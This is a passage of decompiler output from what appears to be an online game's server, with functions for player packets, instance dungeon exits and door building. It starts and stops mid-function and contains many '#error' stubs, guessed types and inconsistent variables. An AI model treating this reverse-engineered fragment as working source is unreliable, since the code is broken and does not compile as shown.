*)&iti, (char *)&stru_63450C.maa_TargetSelect.aggresive); v12 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v12 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); *(_WORD *)v12 = 13415; *((_WORD *)v12 + 4) = *((_WORD *)v1 + 28942); *(_DWORD *)(v12 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v13 = *(_DWORD *)((char *)v1 + 98); *(_DWORD *)(v12 + 14) = *(_DWORD *)v13; *(_DWORD *)(v12 + 18) = *(_DWORD *)(v13 + 4); *(_DWORD *)(v12 + 22) = *(_DWORD *)(v13 + 8); v14 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v12 + 26) = *(_DWORD *)v14; v15 = *(_DWORD *)(v14 + 4); v25 = (int)(v12 + 34); *((_WORD *)v12 + 17) = v7 & 0x3FF | 0x3000; *((_WORD *)v12 + 22) = tentid; *(_DWORD *)(v12 + 30) = v15; *((_DWORD *)v12 + 9) = iti; *((_DWORD *)v12 + 10) = v39; *((_WORD *)v12 + 23) = 46; v16 = itmid[0]; v17 = ItemAttributeClassContainer::operator__(&itmattcontainer, itmid[0]); v18 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)&iti, v17, v16, v12 + 48) - (v12 + 48) + 48; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v18) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_63450C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v18); } v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2004))(v1); LOWORD(v20) = *(_WORD *)(v20 + 4); v21 = *((_DWORD *)v1 + 14470); v22 = (int)((char *)v1 + 57880); (*(void (__thiscall **)(int, int, int, int *, int, int))(v21 + 56))(v22, v20, iic, &iti, v25, v25); ++*(_WORD *)(v22 + 4); ibie = (int)&ItemBoxIterator::_vftable_; } else { ibie = (int)&ItemBoxIterator::_vftable_; } } LABEL_14: --funcallanalizer.fca_stackpoint; v42 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeMiniHouse"); __security_check_cookie((unsigned int)&tentid ^ v41); } // 63677C: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004346D0) -------------------------------------------------------- #error "4346D0: undefined or illegal type '#593' (funcsize=56)" //----- (004347B0) -------------------------------------------------------- #error "4347B0: undefined or illegal type '#593' (funcsize=65)" //----- (004348A0) -------------------------------------------------------- #error "4348A0: undefined or illegal type '#734' (funcsize=80)" //----- (004349D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ConnectFromWhere(void *this) { void *v1; // esi@1 char v2; // al@1 char *v3; // edi@3 ZoneBaseSession *v4; // eax@5 FunctionEntarance _; // [sp+4h] [bp-54h]@1 char buffer[64]; // [sp+8h] [bp-50h]@2 unsigned int v7; // [sp+48h] [bp-10h]@1 int v8; // [sp+54h] [bp-4h]@1 v1 = this; v7 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ConnectFromWhere"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ConnectFromWhere"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ConnectFromWhere"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)v1 + 32263); v8 = 0; if ( v2 ) { sprintf(buffer, "From %d.%d.%d.%d"); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1924))(v1, buffer); } v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2090; v3[8] = *((_BYTE *)v1 + 143268); v3[9] = *((_BYTE *)v1 + 143269); v3[10] = *((_BYTE *)v1 + 143270); v3[11] = *((_BYTE *)v1 + 143271); *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 12); } *((_BYTE *)v1 + 143272) = 0; --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ConnectFromWhere"); __security_check_cookie((unsigned int)&_ ^ v7); } //----- (00434B50) -------------------------------------------------------- #error "434B50: undefined or illegal type '#593' (funcsize=57)" //----- (00434C30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GhostBan(void *this) { void *v1; // edi@1 int v2; // edx@1 int v3; // esi@1 FunctionEntarance _; // [sp+Ch] [bp-28h]@1 int (__stdcall **ban)(int, int, int); // [sp+10h] [bp-24h]@1 int v6; // [sp+14h] [bp-20h]@1 int v7; // [sp+18h] [bp-1Ch]@1 int v8; // [sp+1Ch] [bp-18h]@1 int v9; // [sp+20h] [bp-14h]@1 unsigned int v10; // [sp+24h] [bp-10h]@1 int v11; // [sp+30h] [bp-4h]@1 v1 = this; v10 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_GhostBan"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GhostBan"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GhostBan"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v11 = 0; v3 = (*(int (__thiscall **)(void *))(v2 + 1384))(v1); AxialListIterator::AxialListIterator((AxialListIterator *)&ban); v9 = 0; v8 = 0; v7 = 0; v6 = 0; ban = &AxialListGhostBan::_vftable_; v6 = *(_DWORD *)v3; v7 = *(_DWORD *)(v3 + 4); v8 = *(_DWORD *)(v3 + 8); v9 = *(_DWORD *)(v3 + 12); LOBYTE(v11) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&ban, 0); LOBYTE(v11) = 0; ban = &AxialListGhostBan::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&ban); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GhostBan"); __security_check_cookie((unsigned int)&_ ^ v10); } // 6391A0: using guessed type int (__stdcall *AxialListGhostBan___vftable_)(int, int, int distancesquar); //----- (00434D40) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponRangeSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponRangeSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_WeaponRangeSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponRangeSet"); } //----- (00434D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet(void *this) { void *v1; // edi@1 int v2; // ebx@1 unsigned __int16 v3; // ax@1 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 int v5; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 10); v3 = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 12) + 8); if ( v3 == -1 ) v3 = *(_WORD *)(v2 + 8); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( !v4 || (v5 = v4->data->WeaponType - 2) != 0 && v5 != 8 ) *((_DWORD *)v1 + 34865) = 120; else *((_DWORD *)v1 + 34865) = 600; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet"); } //----- (00434E80) -------------------------------------------------------- void *__thiscall Observer::_vector_deleting_destructor_(Observer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; Observer::_Observer(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00434EA0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Lrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00434F00) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 21) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 21) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 21) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 21) ); if ( !*(_BYTE *)(v4 + 21) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 21); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00434F60) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 21) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 21) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 21); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 21); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00434FC0) -------------------------------------------------------- #error "434FC0: undefined or illegal type '#593' (funcsize=22)" //----- (00435000) -------------------------------------------------------- #error "435000: undefined or illegal type '#593' (funcsize=22)" //----- (00435040) -------------------------------------------------------- MobAttackSequence::AttackElement4Mob *__thiscall MobAttackSequence::mas_Find(MobAttackSequence *this, unsigned __int16 mobid) { MobAttackSequence *v2; // esi@1 v2 = this; if ( !(_local_static_guard_ & 1) ) { _local_static_guard_ |= 1u; MobAttackSequence::AttackElement4Mob::AttackElement4Mob(&key); atexit(key); } key.ae4m_BossMob = mobid; return (MobAttackSequence::AttackElement4Mob *)bsearch( &key, v2->mas_AttackPattern, v2->mas_MobNumber, 0x1BECu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } // 704C34: using guessed type int _local static guard_; //----- (004350D0) -------------------------------------------------------- #error "4350D0: undefined or illegal type '#615' (funcsize=17)" //----- (00435100) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineDoor::so_door_Build(ShineObjectClass::ShineDoor *this, Name3 *pmap, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, int scale) { ShineObjectClass::ShineDoor *v8; // esi@1 int v9; // eax@1 PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *v10; // edx@3 int v11; // ST00_4@3 MobDataBox::MobDataBoxIndex *v12; // eax@3 FieldMap::FM_MarkingError result; // eax@4 FieldMap::FM_MarkingError v14; // edi@5 int v15; // eax@8 int v16; // eax@8 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_Build"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)&v8->gap0[194] = 0; *(_QWORD *)&v8->sd_Locate.currentmap.n3_name[0] = *(_QWORD *)&pmap->n3_name[0]; *(_DWORD *)&v8->sd_Locate.currentmap.n3_name[8] = *(_DWORD *)&pmap->n3_name[8]; v8->sd_Locate.currentcoord.xy.x = x; v9 = dir / 2; v8->sd_Locate.currentcoord.xy.y = y; if ( dir / 2 < 0 ) LOBYTE(v9) = v9 - 76; v10 = v8->sd_DoorBriefInfo.bid_BriefInfo; v8->sd_Locate.currentcoord.dir = v9; v10->coord.xy.x = v8->sd_Locate.currentcoord.xy.x; v10->coord.xy.y = v8->sd_Locate.currentcoord.xy.y; v8->sd_DoorBriefInfo.bid_BriefInfo->coord.dir = v8->sd_Locate.currentcoord.dir; v8->sd_DoorBriefInfo.bid_BriefInfo->doorstate = 0; v11 = (int)&v8->sd_DoorBriefInfo.bid_BriefInfo->blockindex; *(_DWORD *)&v8->sd_DoorBriefInfo.bid_BriefInfo->blockindex.n8_name[28] = 0; *(_DWORD *)(v11 + 24) = 0; *(_DWORD *)(v11 + 20) = 0; *(_DWORD *)(v11 + 16) = 0; *(_DWORD *)(v11 + 12) = 0; *(_DWORD *)(v11 + 8) = 0; *(_DWORD *)(v11 + 4) = 0; *(_DWORD *)v11 = 0; strncpy((char *)v11, byte_635E1E, 0x20u); v12 = MobDataBox::operator__(&mobdatabox, mobid); v8->sd_MobDataBox = v12; if ( v12 != 0 ) { v14 = ShineObjectClass::ShineObject::so_MapMarking(v8, 1); if ( v14 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = v14; } else { v8->sd_HP = v8->sd_MobDataBox->data->MaxHP; v8->sd_DoorBriefInfo.bid_BriefInfo->handle = handle; v8->sd_DoorBriefInfo.bid_BriefInfo->mobid = mobid; v8->sd_DoorBriefInfo.bid_BriefInfo->scale = scale; (*(void (__thiscall **)(ShineObjectClass::ShineDoor *, _DWORD))(*(_DWORD *)&v8->gap0[0] + 1776))(v8, handle); if ( *(_DWORD *)&v8->gap0[236] != 3 ) { v15 = *(_DWORD *)&v8->gap0[232]; *(_DWORD *)&v8->gap0[236] = 0; *(_DWORD *)&v8->gap0[260] = 0; *(_DWORD *)&v8->gap0[264] = 0; *(_DWORD *)&v8->gap0[268] = 0; *(_DWORD *)&v8->gap0[272] = 0; *(_DWORD *)&v8->gap0[276] = 0; *(_DWORD *)&v8->gap0[240] = 0; v16 = *(_DWORD *)(v15 + 78); *(_DWORD *)&v8->gap0[252] = *(_DWORD *)v16; *(_DWORD *)&v8->gap0[256] = *(_DWORD *)(v16 + 4); } *(_WORD *)&v8->gap0[194] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineDoor::so_door_Build : Not in MobDataBox", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_Build"); result = 3; } return result; } // 457320: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (00435380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@2 unsigned int v4; // ecx@4 KingdomQuest::KQElement *v5; // edi@5 unsigned int v6; // eax@7 int v7; // ebx@7 int v8; // eax@7 char *v9; // ecx@9 char v10; // al@10 char v11; // al@12 int v12; // eax@13 char regenhere; // [sp+Fh] [bp-15h]@7 __int16 lsthnd; // [sp+10h] [bp-14h]@5 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v16; // [sp+20h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v16 = 0; if ( v2 && (v3 = *(_DWORD *)(v2 + 12)) != 0 && *(_BYTE *)(v3 + 54) == 1 ) { v4 = *(_DWORD *)(v2 + 60); if ( v4 == -1 ) { if ( *(_WORD *)(*(_DWORD *)(v2 + 68) + 20) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { v5 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v4, (unsigned __int16 *)&lsthnd); if ( v5 != 0 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v7 = KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(&v5->kqe_PlayerList, v6); v8 = KingdomQuest::KQElement::kqe_ReviveNumber(v5, ®enhere); if ( v7 < v8 ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22552; if ( v8 == 99999 ) v10 = 0; else v10 = v8 - v7; v9[2] = v10; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ : Packet Too Long", 3) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v1, &gpp); } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ : Cannot found KQ Element", *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60)); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"); } } //----- (004355A0) -------------------------------------------------------- #error "4355A0: undefined or illegal type '#593' (funcsize=76)" //----- (004356B0) -------------------------------------------------------- #error "4356B0: undefined or illegal type '#593' (funcsize=85)" //----- (004357D0) -------------------------------------------------------- #error "4357D0: undefined or illegal type '#593' (funcsize=73)" //----- (004358E0) -------------------------------------------------------- #error "4358E0: undefined or illegal type '#593' (funcsize=74)" //----- (00435A10) -------------------------------------------------------- #error "435A10: undefined or illegal type '#593' (funcsize=55)" //----- (00435B00) -------------------------------------------------------- #error "435B00: undefined or illegal type '#593' (funcsize=77)" //----- (00435C10) -------------------------------------------------------- #error "435C10: undefined or illegal type '#593' (funcsize=71)" //----- (00435D10) -------------------------------------------------------- #error "435D10: undefined or illegal type '#593' (funcsize=76)" //----- (00435E10) -------------------------------------------------------- #error "435E10: undefined or illegal type '#593' (funcsize=85)" //----- (00435F30) -------------------------------------------------------- #error "435F30: undefined or illegal type '#593' (funcsize=47)" //----- (00435FF0) -------------------------------------------------------- #error "435FF0: undefined or illegal type '#593' (funcsize=90)" //----- (00436150) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID(void *this) { void *v1; // esi@1 signed int v2; // edi@1 int v3; // eax@1 int v4; // eax@2 int v5; // eax@9 char *v6; // eax@10 MapClusterManager::MapCluster *v7; // ebp@10 int v8; // edx@11 int v9; // edi@12 FieldOption::InstanceDungeonInfo *v10; // edi@13 void *v11; // ecx@14 int v12; // eax@14 void *v13; // ecx@15 char *v14; // [sp+0h] [bp-ACh]@6 FunctionEntarance _; // [sp+10h] [bp-9Ch]@1 INSTANCE_DUNGEON::CATEGORY Caterogy; // [sp+14h] [bp-98h]@11 unsigned int RegNum; // [sp+18h] [bp-94h]@11 AxialListMobCounter almc; // [sp+1Ch] [bp-90h]@14 NPCManager::LinkInformTemplete lnkinf; // [sp+34h] [bp-78h]@16 unsigned int v20; // [sp+9Ch] [bp-10h]@1 int v21; // [sp+A8h] [bp-4h]@1 v1 = this; v20 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v1 + 98); v21 = 0; if ( !v3 || (v4 = *(_DWORD *)(v3 + 12)) == 0 || *(_BYTE *)(v4 + 54) != 3 ) goto LABEL_6; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1232))(v1) >= 0x64u ) { (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1924))(v1, "You are administrator."); LABEL_6: v14 = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; LABEL_7: --funcallanalizer.fca_stackpoint; v21 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); goto LABEL_8; } v5 = *(_DWORD *)((char *)v1 + 98); if ( *(_WORD *)(*(_DWORD *)(v5 + 68) + 20) < 1u || (v6 = NameString::operator__(&namestring, *(Name3 **)(v5 + 12)), (v7 = MapClusterManager::ClusterManager::cm_FindMapCluster(&mapclustermanager, v6)) == 0) || (v8 = *(_DWORD *)v1, Caterogy = -1, RegNum = -1, !(unsigned __int8)(*(int (__thiscall **)(void *, INSTANCE_DUNGEON::CATEGORY *, unsigned int *))(v8 + 2756))( v1, &Caterogy, &RegNum)) ) { LABEL_20: ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v14 = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; goto LABEL_7; } v9 = *(_DWORD *)((char *)v1 + 98); if ( (#1265 *)v9 != MapClusterManager::MapCluster::mc_FindExistByRegnum(v7, RegNum, Caterogy) || (v10 = FieldContainer::fc_GetInstanceDungeonInfoByMapName(&fieldlist, *(Name3 **)(v9 + 12))) == 0 ) { v2 = -1; goto LABEL_20; } AxialListMobCounter::AxialListMobCounter(&almc, 0xFFFFu, 0, 0, 100); v11 = *(void **)((char *)v1 + 98); LOBYTE(v21) = 1; v12 = FieldMap::fm_GetCenterObject(v11); ShineObjectClass::ShineObject::so_AllInMap((void *)v12, (int)&almc, 0); if ( VectorClass::VectorWithLength::vwl_GetLength((int)&almc) > v10->MaxUseCount ) { v13 = *(void **)((char *)v1 + 98); if ( v13 ) { if ( FieldMap::fm_GetRegenCityLinkData(v13, (int)&lnkinf) ) (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, _DWORD))(*(_DWORD *)v1 + 1016))( v1, &lnkinf, 0); } } LOBYTE(v21) = 0; AxialListMobCounter::_AxialListMobCounter(&almc); v21 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_8: __security_check_cookie((unsigned int)&_ ^ v20); } //----- (00436370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveField(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // edi@4 unsigned __int16 v4; // bp@5 unsigned __int16 v5; // cx@6 int v6; // eax@7 int v7; // esi@7 unsigned __int16 v8; // bx@7 bool v9; // cf@7 int v10; // eax@8 int v11; // eax@9 int v12; // eax@11 int v13; // eax@14 char v14; // cl@14 int v15; // eax@14 int v16; // eax@15 int v17; // eax@18 char *v18; // [sp-4h] [bp-24h]@2 std::_Tree,std::allocator,0> >::iterator v19; // [sp+Ch] [bp-14h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveField"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveField"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = *(std::_Tree,std::allocator,0> >::iterator *)((char *)v1 + 98); if ( *(_DWORD *)((char *)v1 + 98) ) { v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1320))(v1); if ( v2 ) { v3 = v2 + 3240; if ( v2 != -3240 ) { v4 = *(_WORD *)(*(_DWORD *)(v2 + 3248) + 12 * *(_WORD *)(v2 + 3254) + 4); while ( 1 ) { v5 = *(_WORD *)(v3 + 4); if ( v4 >= v5 ) break; v6 = *(_DWORD *)(v3 + 8); v7 = v4; v8 = v4; v9 = v4 < v5; v4 = *(_WORD *)(v6 + 12 * v4 + 4); if ( v9 && (v10 = v6 + 12 * v7, *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = **((_DWORD **)&unk_6B848C + 3 * *(_DWORD *)(v11 + 4)); if ( v12 && FieldMap::fm_IsRefuseAbstate(v19, *(_DWORD *)(v12 + 34)) ) { if ( v8 < *(_WORD *)(v3 + 4) && (v13 = *(_DWORD *)(v3 + 8), v14 = *(_BYTE *)(v13 + 12 * v7 + 8), v15 = v13 + 12 * v7, v14) ) v16 = *(_DWORD *)v15; else v16 = 0; *(_BYTE *)v16 |= 4u; if ( v8 < *(_WORD *)(v3 + 4) && (v17 = *(_DWORD *)(v3 + 8) + 12 * v7, *(_BYTE *)(v17 + 8)) ) *(_DWORD *)(*(_DWORD *)v17 + 32) = clockwatch.cw_CurrTick; else v20 = clockwatch.cw_CurrTick; } } } } v18 = "ShineObjectClass::ShinePlayer::sp_RemoveField"; } else { v18 = "ShineObjectClass::ShinePlayer::sp_RemoveField"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); } //----- (004364F0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00436540) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] 